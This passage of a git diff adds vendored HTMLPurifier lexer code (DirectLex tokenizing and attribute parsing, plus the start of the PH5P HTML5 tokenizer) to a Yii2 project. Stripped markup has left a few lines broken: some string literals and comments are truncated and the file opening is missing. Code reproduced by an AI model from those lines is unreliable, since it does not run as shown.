($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + // for testing synchronization + $loops = 0; + + while (++$loops) { + // $cursor is either at the start of a token, or inside of + // a tag (i.e. there was a < immediately before it), as indicated + // by $inside_tag + + if ($maintain_line_numbers) { + // $rcursor, however, is always at the start of a token. + $rcursor = $cursor - (int)$inside_tag; + + // Column number is cheap, so we calculate it every round. + // We're interested at the *end* of the newline string, so + // we need to add strlen($nl) == 1 to $nl_pos before subtracting it + // from our "rcursor" position. + $nl_pos = strrpos($html, $nl, $rcursor - $length); + $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1); + + // recalculate lines + if ($synchronize_interval && // synchronization is on + $cursor > 0 && // cursor is further than zero + $loops % $synchronize_interval === 0) { // time to synchronize! + $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); + } + } + + $position_next_lt = strpos($html, '<', $cursor); + $position_next_gt = strpos($html, '>', $cursor); + + // triggers on "asdf" but not "asdf " + // special case to set up context + if ($position_next_lt === $cursor) { + $inside_tag = true; + $cursor++; + } + + if (!$inside_tag && $position_next_lt !== false) { + // We are not inside tag and there still is another tag to parse + $token = new + HTMLPurifier_Token_Text( + $this->parseData( + substr( + $html, + $cursor, + $position_next_lt - $cursor + ) + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); + } + $array[] = $token; + $cursor = $position_next_lt + 1; + $inside_tag = true; + continue; + } elseif (!$inside_tag) { + // We are not inside tag but there are no more tags + // If we're already at the end, break + if ($cursor === strlen($html)) { + break; + } + // Create Text of rest of string + $token = new + HTMLPurifier_Token_Text( + $this->parseData( + substr( + $html, + $cursor + ) + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + } + $array[] = $token; + break; + } elseif ($inside_tag && $position_next_gt !== false) { + // We are in tag and it is well formed + // Grab the internals of the tag + $strlen_segment = $position_next_gt - $cursor; + + if ($strlen_segment < 1) { + // there's nothing to process! + $token = new HTMLPurifier_Token_Text('<'); + $cursor++; + continue; + } + + $segment = substr($html, $cursor, $strlen_segment); + + if ($segment === false) { + // somehow, we attempted to access beyond the end of + // the string, defense-in-depth, reported by Nate Abele + break; + } + + // Check if it's a comment + if (substr($segment, 0, 3) === '!--') { + // re-determine segment length, looking for --> + $position_comment_end = strpos($html, '-->', $cursor); + if ($position_comment_end === false) { + // uh oh, we have a comment that extends to + // infinity. Can't be helped: set comment + // end position to end of string + if ($e) { + $e->send(E_WARNING, 'Lexer: Unclosed comment'); + } + $position_comment_end = strlen($html); + $end = true; + } else { + $end = false; + } + $strlen_segment = $position_comment_end - $cursor; + $segment = substr($html, $cursor, $strlen_segment); + $token = new + HTMLPurifier_Token_Comment( + substr( + $segment, + 3, + $strlen_segment - 3 + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); + } + $array[] = $token; + $cursor = $end ? $position_comment_end : $position_comment_end + 3; + $inside_tag = false; + continue; + } + + // Check if it's an end tag + $is_end_tag = (strpos($segment, '/') === 0); + if ($is_end_tag) { + $type = substr($segment, 1); + $token = new HTMLPurifier_Token_End($type); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + $cursor = $position_next_gt + 1; + continue; + } + + // Check leading character is alnum, if not, we may + // have accidently grabbed an emoticon. Translate into + // text and go our merry way + if (!ctype_alpha($segment[0])) { + // XML: $segment[0] !== '_' && $segment[0] !== ':' + if ($e) { + $e->send(E_NOTICE, 'Lexer: Unescaped lt'); + } + $token = new HTMLPurifier_Token_Text('<'); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + continue; + } + + // Check if it is explicitly self closing, if so, remove + // trailing slash. Remember, we could have a tag like
          , so + // any later token processing scripts must convert improperly + // classified EmptyTags from StartTags. + $is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1); + if ($is_self_closing) { + $strlen_segment--; + $segment = substr($segment, 0, $strlen_segment); + } + + // Check if there are any attributes + $position_first_space = strcspn($segment, $this->_whitespace); + + if ($position_first_space >= $strlen_segment) { + if ($is_self_closing) { + $token = new HTMLPurifier_Token_Empty($segment); + } else { + $token = new HTMLPurifier_Token_Start($segment); + } + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $inside_tag = false; + $cursor = $position_next_gt + 1; + continue; + } + + // Grab out all the data + $type = substr($segment, 0, $position_first_space); + $attribute_string = + trim( + substr( + $segment, + $position_first_space + ) + ); + if ($attribute_string) { + $attr = $this->parseAttributeString( + $attribute_string, + $config, + $context + ); + } else { + $attr = array(); + } + + if ($is_self_closing) { + $token = new HTMLPurifier_Token_Empty($type, $attr); + } else { + $token = new HTMLPurifier_Token_Start($type, $attr); + } + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); + } + $array[] = $token; + $cursor = $position_next_gt + 1; + $inside_tag = false; + continue; + } else { + // inside tag, but there's no ending > sign + if ($e) { + $e->send(E_WARNING, 'Lexer: Missing gt'); + } + $token = new + HTMLPurifier_Token_Text( + '<' . + $this->parseData( + substr($html, $cursor) + ) + ); + if ($maintain_line_numbers) { + $token->rawPosition($current_line, $current_col); + } + // no cursor scroll? Hmm... + $array[] = $token; + break; + } + break; + } + + $context->destroy('CurrentLine'); + $context->destroy('CurrentCol'); + return $array; + } + + /** + * PHP 5.0.x compatible substr_count that implements offset and length + * @param string $haystack + * @param string $needle + * @param int $offset + * @param int $length + * @return int + */ + protected function substrCount($haystack, $needle, $offset, $length) + { + static $oldVersion; + if ($oldVersion === null) { + $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); + } + if ($oldVersion) { + $haystack = substr($haystack, $offset, $length); + return substr_count($haystack, $needle); + } else { + return substr_count($haystack, $needle, $offset, $length); + } + } + + /** + * Takes the inside of an HTML tag and makes an assoc array of attributes. + * + * @param string $string Inside of tag excluding name. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array Assoc array of attributes. + */ + public function parseAttributeString($string, $config, $context) + { + $string = (string)$string; // quick typecast + + if ($string == '') { + return array(); + } // no attributes + + $e = false; + if ($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + // let's see if we can abort as quickly as possible + // one equal sign, no spaces => one attribute + $num_equal = substr_count($string, '='); + $has_space = strpos($string, ' '); + if ($num_equal === 0 && !$has_space) { + // bool attribute + return array($string => $string); + } elseif ($num_equal === 1 && !$has_space) { + // only one attribute + list($key, $quoted_value) = explode('=', $string); + $quoted_value = trim($quoted_value); + if (!$key) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + return array(); + } + if (!$quoted_value) { + return array($key => ''); + } + $first_char = @$quoted_value[0]; + $last_char = @$quoted_value[strlen($quoted_value) - 1]; + + $same_quote = ($first_char == $last_char); + $open_quote = ($first_char == '"' || $first_char == "'"); + + if ($same_quote && $open_quote) { + // well behaved + $value = substr($quoted_value, 1, strlen($quoted_value) - 2); + } else { + // not well behaved + if ($open_quote) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing end quote'); + } + $value = substr($quoted_value, 1); + } else { + $value = $quoted_value; + } + } + if ($value === false) { + $value = ''; + } + return array($key => $this->parseData($value)); + } + + // setup loop environment + $array = array(); // return assoc array of attributes + $cursor = 0; // current position in string (moves forward) + $size = strlen($string); // size of the string (stays the same) + + // if we have unquoted attributes, the parser expects a terminating + // space, so let's guarantee that there's always a terminating space. + $string .= ' '; + + $old_cursor = -1; + while ($cursor < $size) { + if ($old_cursor >= $cursor) { + throw new Exception("Infinite loop detected"); + } + $old_cursor = $cursor; + + $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); + // grab the key + + $key_begin = $cursor; //we're currently at the start of the key + + // scroll past all characters that are the key (not whitespace or =) + $cursor += strcspn($string, $this->_whitespace . '=', $cursor); + + $key_end = $cursor; // now at the end of the key + + $key = substr($string, $key_begin, $key_end - $key_begin); + + if (!$key) { + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + $cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop + continue; // empty key + } + + // scroll past all whitespace + $cursor += strspn($string, $this->_whitespace, $cursor); + + if ($cursor >= $size) { + $array[$key] = $key; + break; + } + + // if the next character is an equal sign, we've got a regular + // pair, otherwise, it's a bool attribute + $first_char = @$string[$cursor]; + + if ($first_char == '=') { + // key="value" + + $cursor++; + $cursor += strspn($string, $this->_whitespace, $cursor); + + if ($cursor === false) { + $array[$key] = ''; + break; + } + + // we might be in front of a quote right now + + $char = @$string[$cursor]; + + if ($char == '"' || $char == "'") { + // it's quoted, end bound is $char + $cursor++; + $value_begin = $cursor; + $cursor = strpos($string, $char, $cursor); + $value_end = $cursor; + } else { + // it's not quoted, end bound is whitespace + $value_begin = $cursor; + $cursor += strcspn($string, $this->_whitespace, $cursor); + $value_end = $cursor; + } + + // we reached a premature end + if ($cursor === false) { + $cursor = $size; + $value_end = $cursor; + } + + $value = substr($string, $value_begin, $value_end - $value_begin); + if ($value === false) { + $value = ''; + } + $array[$key] = $this->parseData($value); + $cursor++; + } else { + // boolattr + if ($key !== '') { + $array[$key] = $key; + } else { + // purely theoretical + if ($e) { + $e->send(E_ERROR, 'Lexer: Missing attribute key'); + } + } + } + } + return $array; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php new file mode 100644 index 00000000..a4587e4c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php @@ -0,0 +1,4788 @@ +normalize($html, $config, $context); + $new_html = $this->wrapHTML($new_html, $config, $context); + try { + $parser = new HTML5($new_html); + $doc = $parser->save(); + } catch (DOMException $e) { + // Uh oh, it failed. Punt to DirectLex. + $lexer = new HTMLPurifier_Lexer_DirectLex(); + $context->register('PH5PError', $e); // save the error, so we can detect it + return $lexer->tokenizeHTML($html, $config, $context); // use original HTML + } + $tokens = array(); + $this->tokenizeDOM( + $doc->getElementsByTagName('html')->item(0)-> // + getElementsByTagName('body')->item(0)-> // + getElementsByTagName('div')->item(0) //
          + , + $tokens + ); + return $tokens; + } +} + +/* + +Copyright 2007 Jeroen van der Meer + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +*/ + +class HTML5 +{ + private $data; + private $char; + private $EOF; + private $state; + private $tree; + private $token; + private $content_model; + private $escape = false; + private $entities = array( + 'AElig;', + 'AElig', + 'AMP;', + 'AMP', + 'Aacute;', + 'Aacute', + 'Acirc;', + 'Acirc', + 'Agrave;', + 'Agrave', + 'Alpha;', + 'Aring;', + 'Aring', + 'Atilde;', + 'Atilde', + 'Auml;', + 'Auml', + 'Beta;', + 'COPY;', + 'COPY', + 'Ccedil;', + 'Ccedil', + 'Chi;', + 'Dagger;', + 'Delta;', + 'ETH;', + 'ETH', + 'Eacute;', + 'Eacute', + 'Ecirc;', + 'Ecirc', + 'Egrave;', + 'Egrave', + 'Epsilon;', + 'Eta;', + 'Euml;', + 'Euml', + 'GT;', + 'GT', + 'Gamma;', + 'Iacute;', + 'Iacute', + 'Icirc;', + 'Icirc', + 'Igrave;', + 'Igrave', + 'Iota;', + 'Iuml;', + 'Iuml', + 'Kappa;', + 'LT;', + 'LT', + 'Lambda;', + 'Mu;', + 'Ntilde;', + 'Ntilde', + 'Nu;', + 'OElig;', + 'Oacute;', + 'Oacute', + 'Ocirc;', + 'Ocirc', + 'Ograve;', + 'Ograve', + 'Omega;', + 'Omicron;', + 'Oslash;', + 'Oslash', + 'Otilde;', + 'Otilde', + 'Ouml;', + 'Ouml', + 'Phi;', + 'Pi;', + 'Prime;', + 'Psi;', + 'QUOT;', + 'QUOT', + 'REG;', + 'REG', + 'Rho;', + 'Scaron;', + 'Sigma;', + 'THORN;', + 'THORN', + 'TRADE;', + 'Tau;', + 'Theta;', + 'Uacute;', + 'Uacute', + 'Ucirc;', + 'Ucirc', + 'Ugrave;', + 'Ugrave', + 'Upsilon;', + 'Uuml;', + 'Uuml', + 'Xi;', + 'Yacute;', + 'Yacute', + 'Yuml;', + 'Zeta;', + 'aacute;', + 'aacute', + 'acirc;', + 'acirc', + 'acute;', + 'acute', + 'aelig;', + 'aelig', + 'agrave;', + 'agrave', + 'alefsym;', + 'alpha;', + 'amp;', + 'amp', + 'and;', + 'ang;', + 'apos;', + 'aring;', + 'aring', + 'asymp;', + 'atilde;', + 'atilde', + 'auml;', + 'auml', + 'bdquo;', + 'beta;', + 'brvbar;', + 'brvbar', + 'bull;', + 'cap;', + 'ccedil;', + 'ccedil', + 'cedil;', + 'cedil', + 'cent;', + 'cent', + 'chi;', + 'circ;', + 'clubs;', + 'cong;', + 'copy;', + 'copy', + 'crarr;', + 'cup;', + 'curren;', + 'curren', + 'dArr;', + 'dagger;', + 'darr;', + 'deg;', + 'deg', + 'delta;', + 'diams;', + 'divide;', + 'divide', + 'eacute;', + 'eacute', + 'ecirc;', + 'ecirc', + 'egrave;', + 'egrave', + 'empty;', + 'emsp;', + 'ensp;', + 'epsilon;', + 'equiv;', + 'eta;', + 'eth;', + 'eth', + 'euml;', + 'euml', + 'euro;', + 'exist;', + 'fnof;', + 'forall;', + 'frac12;', + 'frac12', + 'frac14;', + 'frac14', + 'frac34;', + 'frac34', + 'frasl;', + 'gamma;', + 'ge;', + 'gt;', + 'gt', + 'hArr;', + 'harr;', + 'hearts;', + 'hellip;', + 'iacute;', + 'iacute', + 'icirc;', + 'icirc', + 'iexcl;', + 'iexcl', + 'igrave;', + 'igrave', + 'image;', + 'infin;', + 'int;', + 'iota;', + 'iquest;', + 'iquest', + 'isin;', + 'iuml;', + 'iuml', + 'kappa;', + 'lArr;', + 'lambda;', + 'lang;', + 'laquo;', + 'laquo', + 'larr;', + 'lceil;', + 'ldquo;', + 'le;', + 'lfloor;', + 'lowast;', + 'loz;', + 'lrm;', + 'lsaquo;', + 'lsquo;', + 'lt;', + 'lt', + 'macr;', + 'macr', + 'mdash;', + 'micro;', + 'micro', + 'middot;', + 'middot', + 'minus;', + 'mu;', + 'nabla;', + 'nbsp;', + 'nbsp', + 'ndash;', + 'ne;', + 'ni;', + 'not;', + 'not', + 'notin;', + 'nsub;', + 'ntilde;', + 'ntilde', + 'nu;', + 'oacute;', + 'oacute', + 'ocirc;', + 'ocirc', + 'oelig;', + 'ograve;', + 'ograve', + 'oline;', + 'omega;', + 'omicron;', + 'oplus;', + 'or;', + 'ordf;', + 'ordf', + 'ordm;', + 'ordm', + 'oslash;', + 'oslash', + 'otilde;', + 'otilde', + 'otimes;', + 'ouml;', + 'ouml', + 'para;', + 'para', + 'part;', + 'permil;', + 'perp;', + 'phi;', + 'pi;', + 'piv;', + 'plusmn;', + 'plusmn', + 'pound;', + 'pound', + 'prime;', + 'prod;', + 'prop;', + 'psi;', + 'quot;', + 'quot', + 'rArr;', + 'radic;', + 'rang;', + 'raquo;', + 'raquo', + 'rarr;', + 'rceil;', + 'rdquo;', + 'real;', + 'reg;', + 'reg', + 'rfloor;', + 'rho;', + 'rlm;', + 'rsaquo;', + 'rsquo;', + 'sbquo;', + 'scaron;', + 'sdot;', + 'sect;', + 'sect', + 'shy;', + 'shy', + 'sigma;', + 'sigmaf;', + 'sim;', + 'spades;', + 'sub;', + 'sube;', + 'sum;', + 'sup1;', + 'sup1', + 'sup2;', + 'sup2', + 'sup3;', + 'sup3', + 'sup;', + 'supe;', + 'szlig;', + 'szlig', + 'tau;', + 'there4;', + 'theta;', + 'thetasym;', + 'thinsp;', + 'thorn;', + 'thorn', + 'tilde;', + 'times;', + 'times', + 'trade;', + 'uArr;', + 'uacute;', + 'uacute', + 'uarr;', + 'ucirc;', + 'ucirc', + 'ugrave;', + 'ugrave', + 'uml;', + 'uml', + 'upsih;', + 'upsilon;', + 'uuml;', + 'uuml', + 'weierp;', + 'xi;', + 'yacute;', + 'yacute', + 'yen;', + 'yen', + 'yuml;', + 'yuml', + 'zeta;', + 'zwj;', + 'zwnj;' + ); + + const PCDATA = 0; + const RCDATA = 1; + const CDATA = 2; + const PLAINTEXT = 3; + + const DOCTYPE = 0; + const STARTTAG = 1; + const ENDTAG = 2; + const COMMENT = 3; + const CHARACTR = 4; + const EOF = 5; + + public function __construct($data) + { + $this->data = $data; + $this->char = -1; + $this->EOF = strlen($data); + $this->tree = new HTML5TreeConstructer; + $this->content_model = self::PCDATA; + + $this->state = 'data'; + + while ($this->state !== null) { + $this->{$this->state . 'State'}(); + } + } + + public function save() + { + return $this->tree->save(); + } + + private function char() + { + return ($this->char < $this->EOF) + ? $this->data[$this->char] + : false; + } + + private function character($s, $l = 0) + { + if ($s + $l < $this->EOF) { + if ($l === 0) { + return $this->data[$s]; + } else { + return substr($this->data, $s, $l); + } + } + } + + private function characters($char_class, $start) + { + return preg_replace('#^([' . $char_class . ']+).*#s', '\\1', substr($this->data, $start)); + } + + private function dataState() + { + // Consume the next input character + $this->char++; + $char = $this->char(); + + if ($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { + /* U+0026 AMPERSAND (&) + When the content model flag is set to one of the PCDATA or RCDATA + states: switch to the entity data state. Otherwise: treat it as per + the "anything else" entry below. */ + $this->state = 'entityData'; + + } elseif ($char === '-') { + /* If the content model flag is set to either the RCDATA state or + the CDATA state, and the escape flag is false, and there are at + least three characters before this one in the input stream, and the + last four characters in the input stream, including this one, are + U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, + and U+002D HYPHEN-MINUS (""), + set the escape flag to false. */ + if (($this->content_model === self::RCDATA || + $this->content_model === self::CDATA) && $this->escape === true && + $this->character($this->char, 3) === '-->' + ) { + $this->escape = false; + } + + /* In any case, emit the input character as a character token. + Stay in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + } elseif ($this->char === $this->EOF) { + /* EOF + Emit an end-of-file token. */ + $this->EOF(); + + } elseif ($this->content_model === self::PLAINTEXT) { + /* When the content model flag is set to the PLAINTEXT state + THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of + the text and emit it as a character token. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => substr($this->data, $this->char) + ) + ); + + $this->EOF(); + + } else { + /* Anything else + THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that + otherwise would also be treated as a character token and emit it + as a single character token. Stay in the data state. */ + $len = strcspn($this->data, '<&', $this->char); + $char = substr($this->data, $this->char, $len); + $this->char += $len - 1; + + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + $this->state = 'data'; + } + } + + private function entityDataState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, emit a U+0026 AMPERSAND character token. + // Otherwise, emit the character token that was returned. + $char = (!$entity) ? '&' : $entity; + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + // Finally, switch to the data state. + $this->state = 'data'; + } + + private function tagOpenState() + { + switch ($this->content_model) { + case self::RCDATA: + case self::CDATA: + /* If the next input character is a U+002F SOLIDUS (/) character, + consume it and switch to the close tag open state. If the next + input character is not a U+002F SOLIDUS (/) character, emit a + U+003C LESS-THAN SIGN character token and switch to the data + state to process the next input character. */ + if ($this->character($this->char + 1) === '/') { + $this->char++; + $this->state = 'closeTagOpen'; + + } else { + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<' + ) + ); + + $this->state = 'data'; + } + break; + + case self::PCDATA: + // If the content model flag is set to the PCDATA state + // Consume the next input character: + $this->char++; + $char = $this->char(); + + if ($char === '!') { + /* U+0021 EXCLAMATION MARK (!) + Switch to the markup declaration open state. */ + $this->state = 'markupDeclarationOpen'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Switch to the close tag open state. */ + $this->state = 'closeTagOpen'; + + } elseif (preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new start tag token, set its tag name to the lowercase + version of the input character (add 0x0020 to the character's code + point), then switch to the tag name state. (Don't emit the token + yet; further details will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::STARTTAG, + 'attr' => array() + ); + + $this->state = 'tagName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Emit a U+003C LESS-THAN SIGN character token and a + U+003E GREATER-THAN SIGN character token. Switch to the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<>' + ) + ); + + $this->state = 'data'; + + } elseif ($char === '?') { + /* U+003F QUESTION MARK (?) + Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + + } else { + /* Anything else + Parse error. Emit a U+003C LESS-THAN SIGN character token and + reconsume the current input character in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<' + ) + ); + + $this->char--; + $this->state = 'data'; + } + break; + } + } + + private function closeTagOpenState() + { + $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); + $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; + + if (($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && + (!$the_same || ($the_same && (!preg_match( + '/[\t\n\x0b\x0c >\/]/', + $this->character($this->char + 1 + strlen($next_node)) + ) || $this->EOF === $this->char))) + ) { + /* If the content model flag is set to the RCDATA or CDATA states then + examine the next few characters. If they do not match the tag name of + the last start tag token emitted (case insensitively), or if they do but + they are not immediately followed by one of the following characters: + * U+0009 CHARACTER TABULATION + * U+000A LINE FEED (LF) + * U+000B LINE TABULATION + * U+000C FORM FEED (FF) + * U+0020 SPACE + * U+003E GREATER-THAN SIGN (>) + * U+002F SOLIDUS (/) + * EOF + ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character + token, a U+002F SOLIDUS character token, and switch to the data state + to process the next input character. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => 'state = 'data'; + + } else { + /* Otherwise, if the content model flag is set to the PCDATA state, + or if the next few characters do match that tag name, consume the + next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new end tag token, set its tag name to the lowercase version + of the input character (add 0x0020 to the character's code point), then + switch to the tag name state. (Don't emit the token yet; further details + will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::ENDTAG + ); + + $this->state = 'tagName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Switch to the data state. */ + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F + SOLIDUS character token. Reconsume the EOF character in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => 'char--; + $this->state = 'data'; + + } else { + /* Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + } + } + } + + private function tagNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } else { + /* Anything else + Append the current input character to the current tag token's tag name. + Stay in the tag name state. */ + $this->token['name'] .= strtolower($char); + $this->state = 'tagName'; + } + } + + private function beforeAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Stay in the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function attributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif ($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's name. + Stay in the attribute name state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['name'] .= strtolower($char); + + $this->state = 'attributeName'; + } + } + + private function afterAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the after attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif ($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the + before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function beforeAttributeValueState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the attribute value (double-quoted) state. */ + $this->state = 'attributeValueDoubleQuoted'; + + } elseif ($char === '&') { + /* U+0026 